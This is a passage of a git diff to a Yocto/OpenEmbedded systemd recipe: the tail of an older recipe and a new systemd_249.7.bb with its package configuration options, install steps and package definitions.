- ${rootlibexecdir}/udev/rules.d/75-probe_mtd.rules \
- ${rootlibexecdir}/udev/rules.d/78-sound-card.rules \
- ${rootlibexecdir}/udev/rules.d/80-drivers.rules \
- ${rootlibexecdir}/udev/rules.d/80-net-setup-link.rules \
- ${rootlibexecdir}/udev/rules.d/90-vconsole.rules \
- ${sysconfdir}/udev \
- ${sysconfdir}/init.d/systemd-udevd \
- ${systemd_unitdir}/system/*udev* \
- ${systemd_unitdir}/system/*.wants/*udev* \
- ${base_bindir}/systemd-hwdb \
- ${base_bindir}/udevadm \
- ${base_sbindir}/udevadm \
- ${libexecdir}/${MLPREFIX}udevadm \
- ${datadir}/bash-completion/completions/udevadm \
- ${systemd_unitdir}/system/systemd-hwdb-update.service \
- "
-
-FILES_udev-hwdb = "${rootlibexecdir}/udev/hwdb.d \
- "
-
-RCONFLICTS_${PN} = "tiny-init ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolvconf', '', d)}"
-
-INITSCRIPT_PACKAGES = "udev"
-INITSCRIPT_NAME_udev = "systemd-udevd"
-INITSCRIPT_PARAMS_udev = "start 03 S ."
-
-python __anonymous() {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
-
-python do_warn_musl() {
- if d.getVar('TCLIBC') == "musl":
- bb.warn("Using systemd with musl is not recommended since it is not supported upstream and some patches are known to be problematic.")
-}
-addtask warn_musl before do_configure
-
-ALTERNATIVE_${PN} = "halt reboot shutdown poweroff runlevel ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolv-conf', '', d)}"
-
-ALTERNATIVE_TARGET[resolv-conf] = "${sysconfdir}/resolv-conf.systemd"
-ALTERNATIVE_LINK_NAME[resolv-conf] = "${sysconfdir}/resolv.conf"
-ALTERNATIVE_PRIORITY[resolv-conf] ?= "50"
-
-ALTERNATIVE_TARGET[halt] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
-ALTERNATIVE_PRIORITY[halt] ?= "300"
-
-ALTERNATIVE_TARGET[reboot] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
-ALTERNATIVE_PRIORITY[reboot] ?= "300"
-
-ALTERNATIVE_TARGET[shutdown] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
-ALTERNATIVE_PRIORITY[shutdown] ?= "300"
-
-ALTERNATIVE_TARGET[poweroff] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
-ALTERNATIVE_PRIORITY[poweroff] ?= "300"
-
-ALTERNATIVE_TARGET[runlevel] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
-ALTERNATIVE_PRIORITY[runlevel] ?= "300"
-
-pkg_postinst_${PN}_libc-glibc () {
- sed -e '/^hosts:/s/\s*\<myhostname\>//' \
- -e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
- -i $D${sysconfdir}/nsswitch.conf
-}
-
-pkg_prerm_${PN}_libc-glibc () {
- sed -e '/^hosts:/s/\s*\<myhostname\>//' \
- -e '/^hosts:/s/\s*myhostname//' \
- -i $D${sysconfdir}/nsswitch.conf
-}
-
-PACKAGE_WRITE_DEPS += "qemu-native"
-pkg_postinst_udev-hwdb () {
- if test -n "$D"; then
- $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX} rootlibexecdir="${rootlibexecdir}" PREFERRED_PROVIDER_udev="${PREFERRED_PROVIDER_udev}"
- else
- udevadm hwdb --update
- fi
-}
-
-pkg_prerm_udev-hwdb () {
- rm -f $D${sysconfdir}/udev/hwdb.bin
-}
diff --git a/meta/recipes-core/systemd/systemd_249.7.bb b/meta/recipes-core/systemd/systemd_249.7.bb
new file mode 100644
index 0000000000..53e7f6738d
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd_249.7.bb
@@ -0,0 +1,791 @@
+require systemd.inc
+
+PROVIDES = "udev"
+
+PE = "1"
+
+DEPENDS = "intltool-native gperf-native libcap util-linux python3-jinja2-native"
+
+SECTION = "base/shell"
+
+inherit useradd pkgconfig meson perlnative update-rc.d update-alternatives qemu systemd gettext bash-completion manpages features_check
+
+# As this recipe builds udev, respect systemd being in DISTRO_FEATURES so
+# that we don't build both udev and systemd in world builds.
+REQUIRED_DISTRO_FEATURES = "systemd"
+
+SRC_URI += "file://touchscreen.rules \
+ file://00-create-volatile.conf \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'file://org.freedesktop.hostname1_no_polkit.conf', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'file://00-hostnamed-network-user.conf', '', d)} \
+ file://init \
+ file://99-default.preset \
+ file://systemd-pager.sh \
+ file://0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch \
+ file://0003-implment-systemd-sysv-install-for-OE.patch \
+ file://0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch \
+ file://0001-test-parse-argument-Include-signal.h.patch \
+ "
+
+# patches needed by musl
+SRC_URI:append:libc-musl = " ${SRC_URI_MUSL}"
+SRC_URI_MUSL = "\
+ file://0002-don-t-use-glibc-specific-qsort_r.patch \
+ file://0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch \
+ file://0004-add-fallback-parse_printf_format-implementation.patch \
+ file://0005-src-basic-missing.h-check-for-missing-strndupa.patch \
+ file://0006-Include-netinet-if_ether.h.patch \
+ file://0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch \
+ file://0008-add-missing-FTW_-macros-for-musl.patch \
+ file://0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch \
+ file://0010-Use-uintmax_t-for-handling-rlim_t.patch \
+ file://0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch \
+ file://0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch \
+ file://0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch \
+ file://0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch \
+ file://0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch \
+ file://0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch \
+ file://0017-missing_type.h-add-__compar_d_fn_t-definition.patch \
+ file://0018-avoid-redefinition-of-prctl_mm_map-structure.patch \
+ file://0019-Handle-missing-LOCK_EX.patch \
+ file://0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch \
+ file://0021-test-json.c-define-M_PIl.patch \
+ file://0022-do-not-disable-buffer-in-writing-files.patch \
+ file://0025-Handle-__cpu_mask-usage.patch \
+ file://0026-Handle-missing-gshadow.patch \
+ file://0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch \
+ "
+
+PAM_PLUGINS = " \
+ pam-plugin-unix \
+ pam-plugin-loginuid \
+ pam-plugin-keyinit \
+"
+
+PACKAGECONFIG ??= " \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'acl audit efi ldconfig pam selinux smack usrmerge polkit seccomp', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'rfkill', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xkbcommon', '', d)} \
+ backlight \
+ binfmt \
+ gshadow \
+ hibernate \
+ hostnamed \
+ idn \
+ ima \
+ kmod \
+ localed \
+ logind \
+ machined \
+ myhostname \
+ networkd \
+ nss \
+ nss-mymachines \
+ nss-resolve \
+ quotacheck \
+ randomseed \
+ resolved \
+ set-time-epoch \
+ sysusers \
+ sysvinit \
+ timedated \
+ timesyncd \
+ userdb \
+ utmp \
+ vconsole \
+ wheel-group \
+ zstd \
+"
+
+PACKAGECONFIG:remove:libc-musl = " \
+ gshadow \
+ idn \
+ localed \
+ myhostname \
+ nss \
+ nss-mymachines \
+ nss-resolve \
+ sysusers \
+ userdb \
+ utmp \
+"
+
+# https://github.com/seccomp/libseccomp/issues/347
+PACKAGECONFIG:remove:mipsarch = "seccomp"
+
+CFLAGS:append:libc-musl = " -D__UAPI_DEF_ETHHDR=0 "
+
+# Some of the dependencies are weak-style recommends - if not available at runtime,
+# systemd won't fail but the library-related feature will be skipped with a warning.
+
+# Use the upstream systemd serial-getty@.service and rely on
+# systemd-getty-generator instead of using the OE-core specific
+# systemd-serialgetty.bb - not enabled by default.
+PACKAGECONFIG[serial-getty-generator] = ""
+
+PACKAGECONFIG[acl] = "-Dacl=true,-Dacl=false,acl"
+PACKAGECONFIG[audit] = "-Daudit=true,-Daudit=false,audit"
+PACKAGECONFIG[backlight] = "-Dbacklight=true,-Dbacklight=false"
+PACKAGECONFIG[binfmt] = "-Dbinfmt=true,-Dbinfmt=false"
+PACKAGECONFIG[bzip2] = "-Dbzip2=true,-Dbzip2=false,bzip2"
+PACKAGECONFIG[cgroupv2] = "-Ddefault-hierarchy=unified,-Ddefault-hierarchy=hybrid"
+PACKAGECONFIG[coredump] = "-Dcoredump=true,-Dcoredump=false"
+PACKAGECONFIG[cryptsetup] = "-Dlibcryptsetup=true,-Dlibcryptsetup=false,cryptsetup,,cryptsetup"
+PACKAGECONFIG[tpm2] = "-Dtpm2=true,-Dtpm2=false,tpm2-tss,tpm2-tss libtss2 libtss2-tcti-device"
+PACKAGECONFIG[dbus] = "-Ddbus=true,-Ddbus=false,dbus"
+PACKAGECONFIG[efi] = "-Defi=true,-Defi=false"
+PACKAGECONFIG[gnu-efi] = "-Dgnu-efi=true -Defi-libdir=${STAGING_LIBDIR} -Defi-includedir=${STAGING_INCDIR}/efi,-Dgnu-efi=false,gnu-efi"
+PACKAGECONFIG[elfutils] = "-Delfutils=true,-Delfutils=false,elfutils"
+PACKAGECONFIG[firstboot] = "-Dfirstboot=true,-Dfirstboot=false"
+PACKAGECONFIG[repart] = "-Drepart=true,-Drepart=false"
+PACKAGECONFIG[homed] = "-Dhomed=true,-Dhomed=false"
+# Sign the journal for anti-tampering
+PACKAGECONFIG[gcrypt] = "-Dgcrypt=true,-Dgcrypt=false,libgcrypt"
+PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
+PACKAGECONFIG[gshadow] = "-Dgshadow=true,-Dgshadow=false"
+PACKAGECONFIG[hibernate] = "-Dhibernate=true,-Dhibernate=false"
+PACKAGECONFIG[hostnamed] = "-Dhostnamed=true,-Dhostnamed=false"
+PACKAGECONFIG[idn] = "-Didn=true,-Didn=false"
+PACKAGECONFIG[ima] = "-Dima=true,-Dima=false"
+# importd requires journal-upload/xz/zlib/bzip2/gcrypt
+PACKAGECONFIG[importd] = "-Dimportd=true,-Dimportd=false"
+# Update NAT firewall rules
+PACKAGECONFIG[iptc] = "-Dlibiptc=true,-Dlibiptc=false,iptables"
+PACKAGECONFIG[journal-upload] = "-Dlibcurl=true,-Dlibcurl=false,curl"
+PACKAGECONFIG[kmod] = "-Dkmod=true,-Dkmod=false,kmod"
+PACKAGECONFIG[ldconfig] = "-Dldconfig=true,-Dldconfig=false,,ldconfig"
+PACKAGECONFIG[libidn] = "-Dlibidn=true,-Dlibidn=false,libidn,,libidn"
+PACKAGECONFIG[libidn2] = "-Dlibidn2=true,-Dlibidn2=false,libidn2,,libidn2"
+PACKAGECONFIG[localed] = "-Dlocaled=true,-Dlocaled=false"
+PACKAGECONFIG[logind] = "-Dlogind=true,-Dlogind=false"
+PACKAGECONFIG[lz4] = "-Dlz4=true,-Dlz4=false,lz4"
+PACKAGECONFIG[machined] = "-Dmachined=true,-Dmachined=false"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+PACKAGECONFIG[microhttpd] = "-Dmicrohttpd=true,-Dmicrohttpd=false,libmicrohttpd"
+PACKAGECONFIG[myhostname] = "-Dnss-myhostname=true,-Dnss-myhostname=false,,libnss-myhostname"
+PACKAGECONFIG[networkd] = "-Dnetworkd=true,-Dnetworkd=false"
+PACKAGECONFIG[nss] = "-Dnss-systemd=true,-Dnss-systemd=false"
+PACKAGECONFIG[nss-mymachines] = "-Dnss-mymachines=true,-Dnss-mymachines=false"
+PACKAGECONFIG[nss-resolve] = "-Dnss-resolve=true,-Dnss-resolve=false"
+PACKAGECONFIG[oomd] = "-Doomd=true,-Doomd=false"
+PACKAGECONFIG[openssl] = "-Dopenssl=true,-Dopenssl=false,openssl"
+PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam,${PAM_PLUGINS}"
+PACKAGECONFIG[pcre2] = "-Dpcre2=true,-Dpcre2=false,libpcre2"
+PACKAGECONFIG[polkit] = "-Dpolkit=true,-Dpolkit=false"
+# If polkit is disabled and networkd+hostnamed are in use, enabling this option and
+# using dbus-broker will allow networkd to be authorized to change the
+# hostname without acquiring additional privileges
+PACKAGECONFIG[polkit_hostnamed_fallback] = ",,,,dbus-broker,polkit"
+PACKAGECONFIG[portabled] = "-Dportabled=true,-Dportabled=false"
+PACKAGECONFIG[qrencode] = "-Dqrencode=true,-Dqrencode=false,qrencode,,qrencode"
+PACKAGECONFIG[quotacheck] = "-Dquotacheck=true,-Dquotacheck=false"
+PACKAGECONFIG[randomseed] = "-Drandomseed=true,-Drandomseed=false"
+PACKAGECONFIG[resolved] = "-Dresolve=true,-Dresolve=false"
+PACKAGECONFIG[rfkill] = "-Drfkill=true,-Drfkill=false"
+PACKAGECONFIG[seccomp] = "-Dseccomp=true,-Dseccomp=false,libseccomp"
+PACKAGECONFIG[selinux] = "-Dselinux=true,-Dselinux=false,libselinux,initscripts-sushell"
+PACKAGECONFIG[smack] = "-Dsmack=true,-Dsmack=false"
+PACKAGECONFIG[sysusers] = "-Dsysusers=true,-Dsysusers=false"
+PACKAGECONFIG[sysvinit] = "-Dsysvinit-path=${sysconfdir}/init.d -Dsysvrcnd-path=${sysconfdir},-Dsysvinit-path= -Dsysvrcnd-path=,,systemd-compat-units update-rc.d"
+# When enabled use reproducble build timestamp if set as time epoch,
+# or build time if not. When disabled, time epoch is unset.
+def build_epoch(d):
+ epoch = d.getVar('SOURCE_DATE_EPOCH') or "-1"
+ return '-Dtime-epoch=%d' % int(epoch)
+PACKAGECONFIG[set-time-epoch] = "${@build_epoch(d)},-Dtime-epoch=0"
+PACKAGECONFIG[timedated] = "-Dtimedated=true,-Dtimedated=false"
+PACKAGECONFIG[timesyncd] = "-Dtimesyncd=true,-Dtimesyncd=false"
+PACKAGECONFIG[usrmerge] = "-Dsplit-usr=false,-Dsplit-usr=true"
+PACKAGECONFIG[sbinmerge] = "-Dsplit-bin=false,-Dsplit-bin=true"
+PACKAGECONFIG[userdb] = "-Duserdb=true,-Duserdb=false"
+PACKAGECONFIG[utmp] = "-Dutmp=true,-Dutmp=false"
+PACKAGECONFIG[valgrind] = "-DVALGRIND=1,,valgrind"
+PACKAGECONFIG[vconsole] = "-Dvconsole=true,-Dvconsole=false,,${PN}-vconsole-setup"
+PACKAGECONFIG[wheel-group] = "-Dwheel-group=true, -Dwheel-group=false"
+PACKAGECONFIG[xdg-autostart] = "-Dxdg-autostart=true,-Dxdg-autostart=false"
+# Verify keymaps on locale change
+PACKAGECONFIG[xkbcommon] = "-Dxkbcommon=true,-Dxkbcommon=false,libxkbcommon"
+PACKAGECONFIG[xz] = "-Dxz=true,-Dxz=false,xz"
+PACKAGECONFIG[zlib] = "-Dzlib=true,-Dzlib=false,zlib"
+PACKAGECONFIG[zstd] = "-Dzstd=true,-Dzstd=false,zstd"
+
+# Helper variables to clarify locations. This mirrors the logic in systemd's
+# build system.
+rootprefix ?= "${root_prefix}"
+rootlibdir ?= "${base_libdir}"
+rootlibexecdir = "${rootprefix}/lib"
+
+# This links udev statically with systemd helper library.
+# Otherwise udev package would depend on systemd package (which has the needed shared library),
+# and always pull it into images.
+EXTRA_OEMESON += "-Dlink-udev-shared=false"
+
+EXTRA_OEMESON += "-Dnobody-user=nobody \
+ -Dnobody-group=nobody \
+ -Drootlibdir=${rootlibdir} \
+ -Drootprefix=${rootprefix} \
+ -Ddefault-locale=C \
+ -Dmode=release \
+ -Dsystem-alloc-uid-min=101 \
+ -Dsystem-uid-max=999 \
+ -Dsystem-alloc-gid-min=101 \
+ -Dsystem-gid-max=999 \
+ "
+
+# Hardcode target binary paths to avoid using paths from sysroot
+EXTRA_OEMESON += "-Dkexec-path=${sbindir}/kexec \
+ -Dkmod-path=${base_bindir}/kmod \
+ -Dmount-path=${base_bindir}/mount \
+ -Dquotacheck-path=${sbindir}/quotacheck \
+ -Dquotaon-path=${sbindir}/quotaon \
+ -Dsulogin-path=${base_sbindir}/sulogin \
+ -Dnologin-path=${base_sbindir}/nologin \
+ -Dumount-path=${base_bindir}/umount"
+
+do_install() {
+ meson_do_install
+ install -d ${D}/${base_sbindir}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', 'false', 'true', d)}; then
+ # Provided by a separate recipe
+ rm ${D}${systemd_system_unitdir}/serial-getty* -f
+ fi
+
+ # Provide support for initramfs
+ [ ! -e ${D}/init ] && ln -s ${rootlibexecdir}/systemd/systemd ${D}/init
+ [ ! -e ${D}/${base_sbindir}/udevd ] && ln -s ${rootlibexecdir}/systemd/systemd-udevd ${D}/${base_sbindir}/udevd
+
+ install -d ${D}${sysconfdir}/udev/rules.d/
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ for rule in $(find ${WORKDIR} -maxdepth 1 -type f -name "*.rules"); do
+ install -m 0644 $rule ${D}${sysconfdir}/udev/rules.d/
+ done
+
+ install -m 0644 ${WORKDIR}/00-create-volatile.conf ${D}${sysconfdir}/tmpfiles.d/
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/systemd-udevd
+ sed -i s%@UDEVD@%${rootlibexecdir}/systemd/systemd-udevd% ${D}${sysconfdir}/init.d/systemd-udevd
+ install -Dm 0755 ${S}/src/systemctl/systemd-sysv-install.SKELETON ${D}${systemd_unitdir}/systemd-sysv-install
+ fi
+
+ if "${@'true' if oe.types.boolean(d.getVar('VOLATILE_LOG_DIR')) else 'false'}"; then
+ # /var/log is typically a symbolic link to inside /var/volatile,
+ # which is expected to be empty.
+ rm -rf ${D}${localstatedir}/log
+ else
+ chown root:systemd-journal ${D}${localstatedir}/log/journal
+
+ # journal-remote creates this at start
+ rm -rf ${D}${localstatedir}/log/journal/remote
+ fi
+
+ install -d ${D}${systemd_system_unitdir}/graphical.target.wants
+ install -d ${D}${systemd_system_unitdir}/multi-user.target.wants
+ install -d ${D}${systemd_system_unitdir}/poweroff.target.wants
+ install -d ${D}${systemd_system_unitdir}/reboot.target.wants
+ install -d ${D}${systemd_system_unitdir}/rescue.target.wants
+
+ # Create symlinks for systemd-update-utmp-runlevel.service
+ if ${@bb.utils.contains('PACKAGECONFIG', 'utmp', 'true', 'false', d)}; then
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/graphical.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/multi-user.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/poweroff.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/reboot.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/rescue.target.wants/systemd-update-utmp-runlevel.service
+ fi
+
+ # this file is needed to exist if networkd is disabled but timesyncd is still in use since timesyncd checks it
+ # for existence else it fails
+ if [ -s ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf ]; then
+ ${@bb.utils.contains('PACKAGECONFIG', 'networkd', ':', 'sed -i -e "\$ad /run/systemd/netif/links 0755 root root -" ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf', d)}
+ fi
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'true', 'false', d)}; then
+ echo 'L! ${sysconfdir}/resolv.conf - - - - ../run/systemd/resolve/resolv.conf' >>${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
+ echo 'd /run/systemd/resolve 0755 root root -' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
+ echo 'f /run/systemd/resolve/resolv.conf 0644 root root' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
+ ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
+ else
+ sed -i -e "s%^L! /etc/resolv.conf.*$%L! /etc/resolv.conf - - - - ../run/systemd/resolve/resolv.conf%g" ${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
+ ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'false', 'true', d)}; then
+ rm ${D}${exec_prefix}/lib/tmpfiles.d/x11.conf
+ rm -r ${D}${sysconfdir}/X11
+ fi
+
+ # If polkit is setup fixup permissions and ownership
+ if ${@bb.utils.contains('PACKAGECONFIG', 'polkit', 'true', 'false', d)}; then
+ if [ -d ${D}${datadir}/polkit-1/rules.d ]; then
+ chmod 700 ${D}${datadir}/polkit-1/rules.d
+ chown polkitd:root ${D}${datadir}/polkit-1/rules.d
+ fi
+ fi
+
+ # If polkit is not available and a fallback was requested, install a drop-in that allows networkd to
+ # request hostname changes via DBUS without elevating its privileges
+ if ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'true', 'false', d)}; then
+ install -d ${D}${systemd_system_unitdir}/systemd-hostnamed.service.d/
+ install -m 0644 ${WORKDIR}/00-hostnamed-network-user.conf ${D}${systemd_system_unitdir}/systemd-hostnamed.service.d/
+ install -d ${D}${datadir}/dbus-1/system.d/
+ install -m 0644 ${WORKDIR}/org.freedesktop.hostname1_no_polkit.conf ${D}${datadir}/dbus-1/system.d/
+ fi
+
+ # create link for existing udev rules
+ ln -s ${base_bindir}/udevadm ${D}${base_sbindir}/udevadm
+
+ # duplicate udevadm for postinst script
+ install -d ${D}${libexecdir}
+ ln ${D}${base_bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
+
+ # install default policy for presets
+ # https://www.freedesktop.org/wiki/Software/systemd/Preset/#howto
+ install -Dm 0644 ${WORKDIR}/99-default.preset ${D}${systemd_unitdir}/system-preset/99-default.preset
+
+ # add a profile fragment to disable systemd pager with busybox less
+ install -Dm 0644 ${WORKDIR}/systemd-pager.sh ${D}${sysconfdir}/profile.d/systemd-pager.sh
+}
+
+python populate_packages:prepend (){
+ systemdlibdir = d.getVar("rootlibdir")
+ do_split_packages(d, systemdlibdir, '^lib(.*)\.so\.*', 'lib%s', 'Systemd %s library', extra_depends='', allow_links=True)
+}
+PACKAGES_DYNAMIC += "^lib(udev|systemd|nss).*"
+
+PACKAGE_BEFORE_PN = "\
+ ${PN}-gui \
+ ${PN}-vconsole-setup \
+ ${PN}-initramfs \
+ ${PN}-analyze \
+ ${PN}-kernel-install \
+ ${PN}-rpm-macros \
+ ${PN}-binfmt \
+ ${PN}-zsh-completion \
+ ${PN}-container \
+ ${PN}-journal-gatewayd \
+ ${PN}-journal-upload \
+ ${PN}-journal-remote \
+ ${PN}-extra-utils \
+ ${PN}-udev-rules \
+ udev \
+ udev-hwdb \
+"
+
+SUMMARY:${PN}-container = "Tools for containers and VMs"
+DESCRIPTION:${PN}-container = "Systemd tools to spawn and manage containers and virtual machines."
+
+SUMMARY:${PN}-journal-gatewayd = "HTTP server for journal events"
+DESCRIPTION:${PN}-journal-gatewayd = "systemd-journal-gatewayd serves journal events over the network. Clients must connect using HTTP. The server listens on port 19531 by default."
+
+SUMMARY:${PN}-journal-upload = "Send journal messages over the network"
+DESCRIPTION:${PN}-journal-upload = "systemd-journal-upload uploads journal entries to a specified URL."
+
+SUMMARY:${PN}-journal-remote = "Receive journal messages over the network"
+DESCRIPTION:${PN}-journal-remote = "systemd-journal-remote is a command to receive serialized journal events and store them to journal files."
+
+SYSTEMD_PACKAGES = "${@bb.utils.contains('PACKAGECONFIG', 'binfmt', '${PN}-binfmt', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
+"
+SYSTEMD_SERVICE:${PN}-binfmt = "systemd-binfmt.service"
+
+USERADD_PACKAGES = "${PN} ${PN}-extra-utils \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
+"
+GROUPADD_PARAM:${PN} = "-r systemd-journal;"
+GROUPADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', '-r systemd-hostname;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'coredump', '--system -d / -M --shell /sbin/nologin systemd-coredump;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'networkd', '--system -d / -M --shell /sbin/nologin systemd-network;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit', '--system --no-create-home --user-group --home-dir ${sysconfdir}/polkit-1 polkitd;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'resolved', '--system -d / -M --shell /sbin/nologin systemd-resolve;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'timesyncd', '--system -d / -M --shell /sbin/nologin systemd-timesync;', '', d)}"
+USERADD_PARAM:${PN}-extra-utils = "--system -d / -M --shell /sbin/nologin systemd-bus-proxy"
+USERADD_PARAM:${PN}-journal-gatewayd = "--system -d / -M --shell /sbin/nologin systemd-journal-gateway"
+USERADD_PARAM:${PN}-journal-remote = "--system -d / -M --shell /sbin/nologin systemd-journal-remote"
+USERADD_PARAM:${PN}-journal-upload = "--system -d / -M --shell /sbin/nologin systemd-journal-upload"
+
+FILES:${PN}-analyze = "${bindir}/systemd-analyze"
+
+FILES:${PN}-initramfs = "/init"
+RDEPENDS:${PN}-initramfs = "${PN}"
+
+FILES:${PN}-gui = "${bindir}/systemadm"
+
+FILES:${PN}-vconsole-setup = "${rootlibexecdir}/systemd/systemd-vconsole-setup \
+ ${systemd_system_unitdir}/systemd-vconsole-setup.service \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-vconsole-setup.service"
+
+RDEPENDS:${PN}-kernel-install += "bash"
+FILES:${PN}-kernel-install = "${bindir}/kernel-install \
+ ${sysconfdir}/kernel/ \
+ ${exec_prefix}/lib/kernel \
+ "
+FILES:${PN}-rpm-macros = "${exec_prefix}/lib/rpm \
+ "
+
+FILES:${PN}-zsh-completion = "${datadir}/zsh/site-functions"
+
+FILES:${PN}-binfmt = "${sysconfdir}/binfmt.d/ \
+ ${exec_prefix}/lib/binfmt.d \
+ ${rootlibexecdir}/systemd/systemd-binfmt \
+ ${systemd_system_unitdir}/proc-sys-fs-binfmt_misc.* \
+ ${systemd_system_unitdir}/systemd-binfmt.service"
+RRECOMMENDS:${PN}-binfmt = "kernel-module-binfmt-misc"
+
+RRECOMMENDS:${PN}-vconsole-setup = "kbd kbd-consolefonts kbd-keymaps"
+
+
+FILES:${PN}-journal-gatewayd = "${rootlibexecdir}/systemd/systemd-journal-gatewayd \
+ ${systemd_system_unitdir}/systemd-journal-gatewayd.service \
+ ${systemd_system_unitdir}/systemd-journal-gatewayd.socket \
+ ${systemd_system_unitdir}/sockets.target.wants/systemd-journal-gatewayd.socket \
+ ${datadir}/systemd/gatewayd/browse.html \
+ "
+SYSTEMD_SERVICE:${PN}-journal-gatewayd = "systemd-journal-gatewayd.socket"
+
+FILES:${PN}-journal-upload = "${rootlibexecdir}/systemd/systemd-journal-upload \
+ ${systemd_system_unitdir}/systemd-journal-upload.service \
+ ${sysconfdir}/systemd/journal-upload.conf \
+ "
+SYSTEMD_SERVICE:${PN}-journal-upload = "systemd-journal-upload.service"
+
+FILES:${PN}-journal-remote = "${rootlibexecdir}/systemd/systemd-journal-remote \
+ ${sysconfdir}/systemd/journal-remote.conf \
+ ${systemd_system_unitdir}/systemd-journal-remote.service \
+ ${systemd_system_unitdir}/systemd-journal-remote.socket \
+ "
+SYSTEMD_SERVICE:${PN}-journal-remote = "systemd-journal-remote.socket"
+
+
+FILES:${PN}-container = "${sysconfdir}/dbus-1/system.d/org.freedesktop.import1.conf \
+ ${sysconfdir}/dbus-1/system.d/org.freedesktop.machine1.conf \
+ ${sysconfdir}/systemd/system/multi-user.target.wants/machines.target \
+ ${base_bindir}/machinectl \
+ ${bindir}/systemd-nspawn \
+ ${nonarch_libdir}/systemd/import-pubring.gpg \
